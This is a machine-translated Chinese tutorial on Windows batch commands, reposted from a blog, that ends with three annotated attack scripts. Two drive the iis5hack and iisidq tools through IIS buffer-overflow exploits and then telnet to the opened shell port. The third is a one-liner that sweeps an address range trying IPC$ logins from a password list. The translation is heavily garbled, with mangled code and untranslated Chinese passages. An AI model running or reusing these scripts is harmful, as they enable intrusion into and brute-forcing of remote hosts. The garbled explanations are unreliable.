Part I: Batch specific commands
batch file is a series of commands in a certain order to set an executable text file with the extension BAT. These commands are collectively referred to as batch commands, here I come to tell you about command batch.
. 1, the REM
the REM annotation command is generally used to add annotations to the program, the contents of the command will not be executed and displayed in the program execution. Example:
REM you see now is the comment that the sentence will not be executed. Explained in the later examples REM content will be placed behind REM. Please note.
2, ECHO
ECHO Echo is a main command parameters are OFF and ON, generally with ECHO message to display a specific message. Example:
Echo OFF
Rem close more than one representative echo that is not a command to execute display
Echo is the message.
Rem above represents the display "This is the message" This column character
the results:
C: \> ECHO.BAT
this is news.
3, GOTO
GOTO jump is the meaning. Allow the batch to ": XXX" is then used to construct a label GOTO: directly carrying out the command reference numerals. Example
: LABEL
the REM is named above LABEL reference numerals.
C DIR: \
DIR D: \
GOTO LABEL
REM above program execution continues at the jump label LABEL.
4, CALL
CALL command to call another batch during batch execution, continue to implement the original batch while another batch after their execution. Example:
Batch 2.BAT follows:
ECHO This is the content of the 2
batch 1.BAT follows:
ECHO This is a content of
the CALL 2.BAT
ECHO 1 and 2 show the contents of all completed
execution results are as follows:
C: \ > 1.BAT
this is content 1
which is 2 content of
the content 1 and 2 show completed
. 5, the PAUSE
the PAUSE command to stop execution system and displaying the following. Example:
C: \> the PAUSE
Press any key to continue...
. 6, the IF
the IF conditional statement syntax is as follows:
the IF [the NOT] Number Command the ERRORLEVEL
the IF [the NOT] string1 == string2 Command
the IF [the NOT] the EXIST filename Command
Description:
[the nOT] negated the result returned value, that "If there is no" means.
ERRORLEVEL exit command value is returned after the completion of the
digital values in the range 0 to exit Number 255. A time when the order is determined to be large and small. When the value is equal to or greater than the specified conditional value returned established.
string1 == string2 string1 and string2 are character data, uppercase and lowercase characters will be seen as different, the conditions must be equal to the number two (equal absolute), conditional want to wait behind after the implementation of the Command
EXIST filename is file or directory exists meaning.
IF ERRORLEVEL This statement must be placed one after the command. After Run command is determined by the IF ERRORLEVEL return value.
Example:
. 1, the IF [the NOT] Number Command the ERRORLEVEL
detected after the command return value judgment.
OFF echo
dir z:
REM If the exit code of 1 (unsuccessful) to jump to the title at 1 perform
IF ERRORLEVEL 1 GOTO 1
REM If an exit code of 0 (success) to jump to the title at 0 to perform
IF ERRORLEVEL 0 GOTO 0
: 0
echo command is executed successfully!
Rem program is finished to jump title at the exit to exit the
GOTO exit
: 1
echo command fails!
Rem program is finished to jump title at the exit to exit the
GOTO exit
: exit
Rem Here is the exit program
2, IF string1 == string2 command
detected value of the current variable judgment
OFF ECHO
the IF GOTO% 2 == NO. 1
equal Echo variable!
Exit GOTO
: NO
echo variables are not equal
GOTO Exit
: Exit
We can see this effect C: \> test.bat numbers
3, IF [NOT] EXIST filename command
find specific files judge
echo OFF
IF not EXIST Autoexec.bat GOTO 1
there is echo file success!
Exit GOTO
: 1
echo failed file does not exist!
goto exit
: exit
this batch we can put c drive and d drive performed separately to see results.
7, FOR
FOR this special command is a command to execute the command cycle, while the FOR loop which can also be applied during the FOR loop. This section describes the basic usage we do not apply the cycle, and back again to explain to apply cycle. FOR command in a batch as follows:
FOR [%% C] the IN (SET) the DO [Command] [arguments]
command in the command line as follows:
FOR [% C] the IN (SET) the DO [Command] [arguments]
Common parameters:
/ L expressed in increments of the set from the beginning to the end of a sequence of numbers. Therefore, (1,1,5) to produce a sequence of 12 345, (5, 1,1) to generate a sequence of (54321).
/ D If set contains wildcards, the specified match the directory name, rather than match the file name.
/ F reads data from a specified file as a variable
eol = c - a row means the end of the comment character (in terms of a)
Skip = n-- the number of rows is ignored when the file starts.
delims = xxx - refers to a set of delimiters. This replaces the spaces and tab default delimiter set.
tokens = x, y, mn - means a symbol which is transmitted to each line for each iteration itself. This leads to assign additional variable names. mn a range format. Specifies the mth through the nth tokens. If the last character asterisk symbol string, then an additional variable is allocated and receives the remaining text on the line after the last token parsed.
usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。
下面来看一个例子：
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住，FOR 变量名分大小写，是通用的；而且，同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子:
FOR / F "usebackq delims ==" % i IN ( `set`) DO @echo% i
would enumerate the environment variable names in the current environment.
Here are a simple example, he will be described the difference between the parameter / L and no parameters:
deleting files 1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
Example:
ECHO OFF
the FOR / L %% the IN F. (. 1, 1,5) DO DEL %% f.TXT
or
FOR %% F iN (1,2,3,4,5) DO DEL %% f.TXT
results of the above two is the same command as follows:
C: \> DEL 1.TXT
C: \> DEL 2.TXT
C: \> DEL 3.txt
C: \> DEL 4.TXT
C: \> DEL 5.TXT
8, SETLOCAL
start a batch file changes to the local environment operation. After executing SETLOCAL
environment changes made limited batch file. To restore the original settings, you must execute
the line ENDLOCAL. Upon reaching the end of the batch file, the batch file for each
SETLOCAL command has not been executed, there will be an implicit ENDLOCAL be
executed. Example:
@ECHO OFF
the SET the PATH / environment variables * View the PATH
the PAUSE
SETLOCAL
SET PATH=E:\TOOLS /*重新设置环境变量PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。
9、 SHIFT
SHIFT命令可以让在命令上的的命令使用超过10个（%0~%9）以上的可替代参数例：
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
执行结果如下：
C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上就是基于WIN2000下的9个批处理命令。
第二部分：特殊的符号与批处理
At the command line, but some symbols, it has a special significance Some symbols are not allowed.
1, symbol (@)
@ meaning batch is close echo of the current line. We know that can be turned off with the command echo off echo the whole batch of commands echo off but can not display this command from above. Now we add this @ echo off the order was closed @ echo so as to achieve all command before this command not look back to claim
2, symbol (>)
> means that the transfer and cover. His role is to echo the results transmitted to the operating range of the back (hereinafter, but may also be a default file system console) Example:
file content 1.txt is:
1 + 1
using the command c: \> dir * .txt> 1.txt
content this time is as follows 1.txt
drive C is no volume label.
Volume Serial Number is 1508-301A
C: \ directory
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003 11:43 0 aierrorlog.txt -03-12
2003-03-30 00:35 30,571 202.108.txt
. 5 files 18,630,070 bytes
0 bytes available directory 1,191,542,784
> The results of the command execution covering the original contents of the file.
When passed to the console program will not have any echo (Note: echo here with echo echo off switch off is not the same concept .Echo off switch off is to enter the command echo, which was back here It is echo during or after program execution) Example:
C: \> the dir * .txt> NUL
program does not produce no show any traces.
3, the symbol (>>)
symbol >> action symbol> similar, but the difference between them is that the transfer >> and may also be transmitted in the file append >> echo to the console (use ibid) Example:
File 1 .txt is the same:
1 + 1
using the command c: \> dir * .txt >> 1.txt
this time 1.txt content below
1 + 1
drive C is no volume label.
Volume Serial Number is 1508-301A
C: \ directory
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003 11:43 0 aierrorlog.txt -03-12
2003-03-30 00:35 30,571 202.108.txt
. 5 files 18,630,070 bytes
0 1,191,542,784 bytes available directory
results >> command execution added overlying the original contents of the file.
4, a symbol (|)
| is a tunnel command means to transmit the result of a command execution to the next command to process. Example:
C: \> dir c: \ | the Find "1508"
Volume Serial Number is 301A-1508
meant more to find the command c: \ 1508 and found that all strings. Find usage Please find / see yourself?
When not in use automatic formatting parameters of the format is automatically formatted my disc
echo y | fornat a: / s / q / v: system
used the format command everyone knows there is a format for interactive process, to user input y to determine whether the current command is executed. Plus echo y and pipe before this command transmitted symbol | y execution results echo passed to the format so as to achieve the purpose of the manual input y (hazardous, this command, when the test caution)
5, the symbol (^)
^ is the special symbols>, <, &, the leading character. In particular he will command the kinetic energy of more than three symbols to remove them as merely symbolic and not only the right to use their special significance. Example:
C: \> ^ echo test> 1.txt
test> 1.txt
not to be seen from the above test write file instead 1.txt test> 1.txt if the string out. When this symbol building in remote batch of very effective.
6, a symbol (&)
&符号允许在一行中使用2个以上不同的命令，当第一个命令执行失败将不影响第2个命令的执行。例：
c:\> dir z:\ &dir y:\ &dir c:\
以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。
7、 符号(&&)
&&符号也是允许在一行中使用2个以上不同的命令，当第一个命令执行失败后后续的命令将不会再被执行。例：
c:\> dir z:\ &&dir y:\ &&dir c:\
以上的命令将会提示检查是否存在z:盘如果存在则执行，如果不存在则停止执行所有的后续命令
8、 符号(" ")
" "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:
c:\>cd “Program Files”
c:\>cd progra~1
c:\>cd pro*
以上方法都可以进入Program Files目录
9、 符号（,）
,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例：
c:\>dir,c:\
10、 符号(;)
;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例：
DIR C:\;D:\;E:\F:\
以上的命令相当于
DIR C:\
D DIR: \
DIR E: \
DIR F: \
course, some special symbols, but their range is small I will not explain every one of them here.
Part III: variable batch and
the appropriate reference variable in the batch will make the program you compiled the application surface wider. Batch processing variables each can from a total of 9% 0 to 10%. Where% 0 default batch file name to use. Unless 0% in order to be replaced after using the SHIFT command% 1. Examples cited shift command if the plurality preceding plus a 1% 0% then the results are as follows:
C :: \> SHIFT.BAT 1 2. 5. 4. 3. 6. 7. 9 10. 8. 11
SHIFT.BAT 1 2. 5. 4. 3. 6. 7. 8. 9
2. 6. 1. 7. 8. 3. 4. 9 10. 5
2. 3. 4. 5. 6. 7. 9 10. 8. 11
how the system to distinguish between each variable does, the rule system to distinguish between variable string intermediate space, i.e., if they find a space to put the front space character as a variable and the space behind the character as another variable. If your variables are among a long directory names contain spaces when you need to spend a special symbol with eight laps to quote him up. Example:
Batch content:
ECHO%. 1
ECHO 2%
ECHO%. 3
enter the command:
C: \> the TEST "Program Files" Program Files
Program Files
Program
Files
In a complex variable batch and it may also be used in more than 10 this time and the system will want to rule conflict So how to solve this problem? There is also a variable in the system environment variable called (using the SET command to view the current system environment variables), such as the current system directory% windir%% SystemRoot% or the like. When the parameters used simultaneously over 10, we can save some of the variables behind the program also calls for environmental variables. Specific usage such as SET A =% 1 so that we named a new environment variable% A% A to this call when the call variable A, environment variables are not SHIFT command influence. If you need to change an environment variable to change its settings. Of course, it can be passed between the variable and the variable to achieve the purpose. Let's look at an example, the following batch:
ECHO OFF
the SET% = the PASS. 1
the SHIFT
the SET. 1% = PASS1
the SHIFT
ECHO% PASS1 the PASS%%%%% 2%. 3%. 1. 4%. 6%. 5%. 9. 7%. 8%
the SHIFT
ECHO% the pASS%% PASS1%%. 9
the SET the pASS = transmitted% PASS1% variable of
the SET PASS1 =%. 9
the SHIFT
ECHO% the pASS%% PASS1%%. 9
using the command: C: \> TEST AB 3 4 5 6 7 8 9 KL 10
AB 3. 4. 5. 6. 7. 8. 9 K 10 Note: this line shows the 11 variables
after using the three ABL SHIFT% 9 becomes L
The result of the transfer BL variables
Part IV: the full story
of some batch usage is above. Now we combine these uses detailed analysis about some of the batch currently posted online, to see how they worked. Detailed analysis, in order to maintain the integrity of the program will add my comments in / * back here I will list three examples.
One case of
this example is the host of the overflow vulnerabilities have .printer batch use iis5hack.exe. Iis5hack.exe used procedures and the system comes with telnet.exe. iis5hack command format is:
iis5hack <destination IP> <destination port> <target version> <overflow port> target version numbers 0-9 correspond to 10 different language versions and the system version of the sp, we batch preparation command using the format <iis.bat target ip (start version number)> start version number is optional. Procedure is as follows.
@echo off / * Close command echoing
if "% 1%" == " " goto help / * 1 determines whether% is empty, 1% target IP
IF "% 2%" == "1" GOTO 1 / * determine whether the 2% to 1, as a jump mark 1
IF "% 2%" == "2" GOTO 2 / * 2% for the start of the version number, if it's not set
if "% 2%" == " 3 "goto 3 / * If there is a place from the match started
if"
IF "% 2%" == "7" GOTO 7
IF "% 2%" == "8" GOTO 8
IF not EXIST iis5hack.exe GOTO file / * not found iis5hack.exe logo file on the implementation of paragraphs
ping% 1 -n 1 | find "Received = 1 " / * ping target once found from the results = 1 Received
IF errorlevel 1 GOTO error / * If the return code is 1 error section is performed (Code 1 is not found for the discovery and 0 successful execution)
iis5hack% 1 80 9 88 | the find "good" / * begins to overflow port 80 target system code 9 after an overflow port 88 found the string "good" (overflow after a successful string of good will in the implementation of results)
if not errorlevel 1 goto telnet / * If there is no error code 1 (overflow success) on the implementation of the contents of telnet segment.
! echo operating system type 9 Fail / or display this sentence
: 8 / * The following code content with reference to the above
iis5hack% 1 80 8 88 | the Find "Good"
IF not errorlevel 1 GOTO the Telnet
echo operating system type 8 failed!
: 7
iis5hack% 1 80 7 88 | find "good"
echo operating system type 7 failed!
: 6
iis5hack% 1 80 6 88 | the Find "Good"
IF not errorlevel 1 GOTO the Telnet
echo operating system type 6 failed!
: 5
iis5hack% 1 80 5 88 | the Find "Good"
IF not errorlevel 1 GOTO the Telnet
echo operating system type 5 failed!
: 4
iis5hack% 1 80 4 88 | the Find "Good"
IF not errorlevel 1 GOTO the Telnet
echo operating system type 4 failed!
: 3
iis5hack% 1 80 3 88 | the Find "Good"
IF not errorlevel 1 GOTO the Telnet
echo operating system type 3 failed!
: 2
iis5hack% 1 80 2 88 | the Find "Good"
IF not errorlevel 1 GOTO the Telnet
echo operating system type 2 failed!
: 1
iis5hack% 1 80 1 88 | the Find "Good"
if not errorlevel 1 goto telnet
echo operating system type 1 failed!
: 0
iis5hack% 1 80 0 88 | the Find "Good"
IF not errorlevel 1 GOTO the Telnet
! echo operating system type 0 Failed
GOTO error
: the Telnet
88 port telnet% 1 88 / * start the connection target ip of
goto exit / * connection is lost after the jump exit segment
: error / * error segment display help information after the error
echo may not be connected to the network or the other party to patch the vulnerability, please try again manually using the following format!!
echo iis5hack [target IP] [the WEB port] [system type] [open port]
ECHO Chinese: 0
ECHO Chinese + sp1:. 1
ECHO English: 2
ECHO English + sp1:. 3
ECHO Japanese:. 4
ECHO Japanese + sp1:. 5
ECHO Korean:. 6
ECHO Korean + sp1 : 7
ECHO Mexican: 8
ECHO Mexican SP1 +: 9
GOTO exit / * Jump exit segment
:file /*file段显示文件没有发现的信息
echo 文件iis5hack.exe没有发现!程序终止运行!
goto exit /*跳转exit段
:help /*help段显示本批处理的使用格式帮助
echo 本程序用法如下:
echo iis [目标ip]
echo iis [目标ip] [开始的号码9-0]
:exit /*exit段为程序出口
这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大！
例二
这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下：
运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>
其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。
其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 <idq.bat 目标ip>程序如下：
@echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == "" goto error /*同例一
ping %1 -n 1 | find "Received = 1" /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip
set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。
:no /*no段开始
if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。
if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码，用计数器来控制其
if %a%==2 set d=2 /*变动。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*变量传递完成后转到标0处运行
:1
echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......
:0 /*标志0开始
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good（发送代码成功才会有字符串good）
if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳
/*转标志1处继续尝试发送
ping 127.0.0.1 -n 8 >nul /*ping自己8次相当于延时8秒不显示执
/*行结果
echo 正在执行第%d%项! /*报告正在溢出的操作系统类型
telnet %b% 99 /*连接溢出端口
echo. /*显示一个空行
if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处（循环出口）
if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
== 0% D% IF A = SET. 1
GOTO no / no * value attached to the completed segments to perform the jump
: the help file / * The following is the error message
echo IIsidq.exe and the file is not found in the present document! the same directory!
GOTO Exit
: error
! error target ip echo unrecognized Please use the following format connection!!
echo the IDQ [target IP]
GOTO Exit
: ERROR1
echo connection may target machine has not successfully patched the vulnerability or network failure actions! !
! echo follow the format manually try the following
echo iisidq [object type] [target IP] [target port] [connection] [overflow port]
echo the Telnet [target ip] [overflow port]
: * exit exit / entire program
this batch using the whole cycle master counter mastered that part of the batch.
Example Three
for / l %% a in (0,1,255 ) do for / l %% b in (0,1,255) do for / l %% c in (1,1,254) do for / f "tokens = 1,2 *" %% e in (userpass.txt) do net use [url = file:... // \\% 1 %% a %% b %% c \ ipc $].. \\% 1 %% a %% . b %% c \ ipc $ [ / url] %% e / u: %% f
above command is a command. You can see the command used to apply the 4 FOR. Usage is: C: \> TEST.BAT 218 when the initial value of the command takes an initial value for a first one of the inputs 0 %% a carriage 218 and then continue to take the first 2 0 %% b for the continued take the initial value of 3 for the last 1 %% c for a first paragraph is userpass.txt %% e characters for the password for the user name character second stage final Run %% f (I herein above with values in, password for the user name 123 ABC)
NET usr [= File URL: // \\ 218.0.0.1 \ IPC $] \\ 218.0.0.1 \ IPC $ [/ URL] 123 / U: ABC
Reproduced in: https: //www.cnblogs.com/MichaelGuan/archive/2009/11/11/1601301.html